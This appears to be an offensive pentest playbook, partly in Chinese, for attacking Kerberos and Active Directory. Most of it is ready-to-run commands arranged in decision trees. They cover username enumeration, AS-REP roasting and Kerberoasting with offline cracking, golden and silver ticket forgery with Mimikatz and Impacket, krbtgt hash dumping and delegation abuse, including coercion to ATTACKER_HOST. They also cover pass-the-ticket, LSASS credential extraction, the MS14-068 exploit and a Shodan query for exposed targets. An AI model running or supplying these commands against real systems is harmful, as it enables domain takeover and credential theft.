In-depth Reference
- Complete Kerberos Attack Commands (AS-REP Roasting / Kerberoasting / Ticket Forgery / Delegation Attacks) -> Read references/kerberos-attacks.md
Overall Decision Tree
发现 88 端口开放 (Kerberos)
├─ Phase 1: 服务发现
│ ├─ 确认 Kerberos 服务版本
│ ├─ 确认域名 / Realm
│ └─ 时钟同步检查
│ ├─ 偏差 > 5 分钟 -> 先同步时钟
│ └─ 已同步 -> 继续
├─ Phase 2: 用户名枚举
│ ├─ 无凭据 -> Kerbrute / Nmap 枚举有效用户
│ └─ 有用户列表 -> 进入 Phase 3
├─ Phase 3: AS-REP Roasting
│ ├─ 查找未设置预认证的账户
│ │ ├─ 找到 -> 提取 AS-REP 哈希 -> 离线破解
│ │ └─ 未找到 -> 进入 Phase 4
├─ Phase 4: Kerberoasting
│ ├─ 需要有效域凭据
│ ├─ 查找注册 SPN 的服务账户
│ │ ├─ 找到 -> 请求 TGS -> 提取哈希 -> 离线破解
│ │ └─ 未找到 -> 进入 Phase 5
├─ Phase 5: 票据伪造
│ ├─ 有 krbtgt 哈希 -> Golden Ticket (伪造 TGT)
│ ├─ 有服务账户哈希 -> Silver Ticket (伪造 TGS)
│ └─ 无足够材料 -> 进入 Phase 6
├─ Phase 6: 委派攻击
│ ├─ 非约束委派 -> 提取 TGT
│ ├─ 约束委派 -> S4U 协议滥用
│ └─ 基于资源的约束委派 (RBCD) -> 修改 msDS-AllowedToActOnBehalfOfOtherIdentity
└─ Phase 7: Pass-the-Ticket
├─ 导入票据到当前会话
└─ 利用票据访问目标服务
Phase 1: Service Discovery
1.1 Port Scanning and Service Identification
# Nmap Kerberos 服务探测
nmap -sV -sC -p 88 <IP>
# Nmap Kerberos 枚举脚本
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP>
1.2 Domain and Realm Confirmation
确认 Kerberos Realm
├─ DNS 查询 SRV 记录
│ └─ nslookup -type=SRV _kerberos._tcp.DOMAIN.LOCAL
├─ 从 SMB 服务获取域名
│ └─ crackmapexec smb <IP>
└─ 从 LDAP 获取 Realm
└─ ldapsearch -x -h <IP> -s base namingContexts
1.3 Environment Preparation (Clock Synchronization and krb5.conf)
# 时钟同步 — 偏差 > 5 分钟会导致 KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
# 生成 krb5.conf (netexec)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 手动 krb5.conf 最小配置
cat > /etc/krb5.conf << 'CONF'
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
[realms]
DOMAIN.LOCAL = {
kdc = dc.domain.local
admin_server = dc.domain.local
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
CONF
Key Judgments:
- Clock skew too large -> all Kerberos operations will fail, must synchronize first
/etc/hostsMust correctly resolve the DC's FQDN -> SPN mismatch will cause GSSAPI failure- When NTLM is disabled -> SMB/WinRM tools need to add
-kparameter to force Kerberos authentication
Phase 2: Username Enumeration
2.1 Enumeration Decision Tree
用户名枚举 (无需凭据)
├─ Kerbrute (推荐,速度快,日志低)
│ ├─ kerbrute userenum --dc <DC_IP> -d DOMAIN.LOCAL users.txt
│ └─ 原理: 发送 AS-REQ,根据响应区分有效/无效用户
│ ├─ KDC_ERR_PREAUTH_REQUIRED -> 用户存在 (需要预认证)
│ ├─ KDC_ERR_CLIENT_REVOKED -> 用户存在但被禁用
│ └─ KDC_ERR_C_PRINCIPAL_UNKNOWN -> 用户不存在
├─ Nmap 脚本
│ └─ nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP>
└─ Metasploit
└─ auxiliary/gather/kerberos_enumusers
├─ set DOMAIN DOMAIN.LOCAL
├─ set RHOSTS <DC_IP>
└─ set USER_FILE users.txt
2.2 Common Username Dictionaries
# 内置字典
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/dirb/others/names.txt
# 从 OSINT 生成用户名
# 格式: firstname.lastname / f.lastname / firstnamelastname
Phase 3: AS-REP Roasting
3.1 Attack Principle
When a user account has the DONT_REQUIRE_PREAUTH flag set, its AS-REP message can be requested without knowing the password, which contains encrypted data that can be cracked offline.
3.2 Attack Decision Tree
AS-REP Roasting
├─ 有域凭据
│ ├─ 查找目标: GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -dc-ip <DC_IP>
│ ├─ LDAP 查询: (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
│ └─ BloodHound 标记: "Do not require Kerberos preauthentication"
├─ 无域凭据
│ └─ 对已枚举用户列表逐一尝试
│ └─ GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
└─ 获得哈希后 -> 离线破解
├─ hashcat -m 18200 asrep_hashes.txt wordlist.txt
└─ john --wordlist=wordlist.txt asrep_hashes.txt
3.3 Impacket GetNPUsers
# 已知用户列表,无需密码
GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt
# 有凭据,自动查找所有易受攻击用户
GetNPUsers.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt
3.4 Rubeus (Windows Environment)
# 查找并攻击所有 AS-REP Roastable 用户
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# 指定用户
Rubeus.exe asreproast /user:targetuser /format:hashcat
Phase 4: Kerberoasting
4.1 Attack Principle
Any authenticated domain user can request the TGS ticket of a service account with an SPN (Service Principal Name) registered, and the ticket is encrypted with the service account's NTLM hash, which can be cracked offline.
4.2 Attack Decision Tree
Kerberoasting (需要有效域凭据)
├─ 查找注册 SPN 的账户
│ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ LDAP: (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))
│ └─ PowerView: Get-DomainUser -SPN
├─ 请求 TGS 票据
│ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile tgs.txt
│ └─ Rubeus.exe kerberoast /outfile:tgs.txt
├─ 优先攻击目标
│ ├─ 高权限服务账户 (Domain Admins / 管理员组成员)
│ ├─ RC4 加密的票据 (更易破解)
│ │ └─ Rubeus.exe kerberoast /rc4opsec
│ └─ 密码从未更改的账户 (pwdLastSet 很久以前)
└─ 离线破解
├─ hashcat -m 13100 tgs.txt wordlist.txt
└─ john --wordlist=wordlist.txt tgs.txt
4.3 Impacket GetUserSPNs
# 列出所有 SPN 账户
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
# 请求 TGS 并保存哈希
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt
# 使用 NTLM 哈希认证
GetUserSPNs.py DOMAIN.LOCAL/user -hashes <LM:NT> -dc-ip <DC_IP> -request
4.4 Targeted Kerberoasting (When No SPN)
如果目标用户无 SPN 但你有写 SPN 的权限
├─ 设置 SPN: setspn -a MSSQLSvc/srv.domain.local:1433 targetuser
├─ 请求 TGS: GetUserSPNs.py ...
├─ 清理 SPN: setspn -d MSSQLSvc/srv.domain.local:1433 targetuser
└─ 注意: 需要 GenericAll/GenericWrite 权限
Phase 5: Ticket Forgery
5.1 Golden Ticket (Forging TGT)
Prerequisite: Possess the NTLM hash of the krbtgt account (usually obtained via DCSync or NTDS.dit)
Golden Ticket 攻击流程
├─ 收集信息
│ ├─ 域 SID: whoami /user (截取到 RID 之前) 或 lookupsid.py
│ ├─ krbtgt NTLM 哈希: secretsdump.py DOMAIN/admin@<DC_IP> -just-dc-user krbtgt
│ └─ 域名: DOMAIN.LOCAL
├─ 生成票据
│ ├─ Impacket: ticketer.py -nthash <krbtgt_hash> -domain-sid <SID> -domain DOMAIN.LOCAL Administrator
│ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /krbtgt:<hash> /ptt
├─ 使用票据
│ ├─ export KRB5CCNAME=Administrator.ccache
│ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local
│ └─ secretsdump.py -k -no-pass dc.domain.local
└─ 特性
├─ 有效期: 默认 10 年
├─ 可伪造任意用户 (包括不存在的用户)
└─ 跨域: 需要父域 krbtgt 哈希
5.2 Silver Ticket (Forging TGS)
Prerequisite: Possess the NTLM hash of the target service account
Silver Ticket 攻击流程
├─ 收集信息
│ ├─ 服务账户 NTLM 哈希 (例如 机器账户哈希)
│ ├─ 目标 SPN (例如 CIFS/dc.domain.local)
│ └─ 域 SID
├─ 生成票据
│ ├─ ticketer.py -nthash <service_hash> -domain-sid <SID> -domain DOMAIN.LOCAL -spn CIFS/dc.domain.local Administrator
│ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /target:dc.domain.local /service:CIFS /rc4:<hash> /ptt
├─ 常见服务 SPN 对照
│ ├─ CIFS -> 文件共享 (SMB)
│ ├─ HTTP -> Web 服务 / WinRM (WSMAN)
│ ├─ LDAP -> LDAP 查询 / DCSync
│ ├─ HOST -> 计划任务 / PsExec
│ └─ MSSQLSvc -> MSSQL 数据库
└─ 特性
├─ 不经过 KDC 验证 -> 更隐蔽
├─ 仅对特定服务有效
└─ 机器账户密码变更后失效 (默认 30 天轮换)
Phase 6: Delegation Attacks
6.1 Delegation Type Decision Tree
委派攻击
├─ 非约束委派 (Unconstrained Delegation)
│ ├─ 发现: LDAP 查询 (userAccountControl:1.2.840.113556.1.4.803:=524288)
│ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 攻击: 诱使高权限用户连接到受控主机
│ │ ├─ Printer Bug (SpoolSample): SpoolSample.exe <DC_IP> <ATTACKER_HOST>
│ │ └─ PetitPotam: PetitPotam.py <ATTACKER_HOST> <DC_IP>
│ └─ 提取: 从内存提取转发的 TGT
│ └─ Rubeus.exe monitor /interval:5 /nowrap
├─ 约束委派 (Constrained Delegation)
│ ├─ 发现: 查找 msDS-AllowedToDelegateTo 属性
│ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 攻击 (S4U): 利用 S4U2Self + S4U2Proxy
│ │ ├─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/svc_account:password -impersonate Administrator -dc-ip <DC_IP>
│ │ └─ export KRB5CCNAME=Administrator.ccache
│ └─ 利用: 使用获得的票据访问目标服务
└─ 基于资源的约束委派 (RBCD)
├─ 前提: 对目标有 GenericWrite / WriteDacl 权限
├─ 攻击流程
│ ├─ 1) 创建或控制一个机器账户 (addcomputer.py)
│ ├─ 2) 修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity
│ │ └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action write DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│ ├─ 3) S4U 获取票据
│ │ └─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/CONTROLLED$:password -impersonate Administrator -dc-ip <DC_IP>
│ └─ 4) 使用票据
│ └─ export KRB5CCNAME=Administrator.ccache
└─ 清理: 移除 RBCD 配置
└─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action remove DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
Phase 7: Pass-the-Ticket
7.1 Ticket Operations
Pass-the-Ticket
├─ 获取票据
│ ├─ 导出当前会话票据 (Windows)
│ │ ├─ Mimikatz: sekurlsa::tickets /export
│ │ └─ Rubeus.exe dump /nowrap
│ ├─ 从 LSASS 提取
│ │ └─ Mimikatz: sekurlsa::logonpasswords
│ └─ 从 ccache 文件 (Linux)
│ └─ 默认位置: /tmp/krb5cc_<UID>
├─ 导入票据
│ ├─ Linux
│ │ └─ export KRB5CCNAME=/path/to/ticket.ccache
│ ├─ Windows
│ │ ├─ Mimikatz: kerberos::ptt <ticket.kirbi>
│ │ └─ Rubeus.exe ptt /ticket:<base64_ticket>
│ └─ 格式转换
│ ├─ kirbi -> ccache: ticketConverter.py ticket.kirbi ticket.ccache
│ └─ ccache -> kirbi: ticketConverter.py ticket.ccache ticket.kirbi
├─ 使用票据访问服务
│ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local
│ ├─ smbclient --kerberos //target.domain.local/C$
│ ├─ wmiexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local
│ └─ netexec smb target.domain.local -k
└─ 验证当前票据
├─ Linux: klist
└─ Windows: klist (系统命令)
7.2 Using SMB Tools with Kerberos Authentication
# 获取 TGT
kinit <user>
klist
# netexec / crackmapexec Kerberos 认证
netexec smb <dc.fqdn> -k
# Impacket 工具使用缓存票据 (-k -no-pass)
psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local
secretsdump.py -k -no-pass dc.domain.local
# SSH GSSAPI 单点登录
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Known Vulnerabilities
MS14-068 (CVE-2014-6324)
MS14-068 — PAC 伪造提权
├─ 影响: 普通域用户可伪造为域管理员
├─ 检测: 未打补丁的 Windows Server 2003-2012R2
├─ 利用
│ ├─ pykek: python ms14-068.py -u user@DOMAIN.LOCAL -p password -s <USER_SID> -d <DC_IP>
│ └─ goldenPac.py DOMAIN.LOCAL/user:password@dc.domain.local
└─ 修复: KB3011780 补丁
Shodan Search
port:88 kerberos
Troubleshooting
| Error Message | Cause | Solution |
|---|---|---|
KRB_AP_ERR_SKEW |
Clock skew too large | sudo ntpdate <dc.fqdn> |
KDC_ERR_C_PRINCIPAL_UNKNOWN |
User does not exist | Check username and Realm |
KDC_ERR_PREAUTH_FAILED |
Wrong password | Check credentials |
Server not found in Kerberos database |
SPN mismatch | Check /etc/hosts and FQDN |
STATUS_NOT_SUPPORTED |
NTLM is disabled | Add -k parameter to use Kerberos |
KRB_ERR_RESPONSE_TOO_BIG |
UDP response too large | Configure krb5.conf to use TCP: udp_preference_limit = 1 |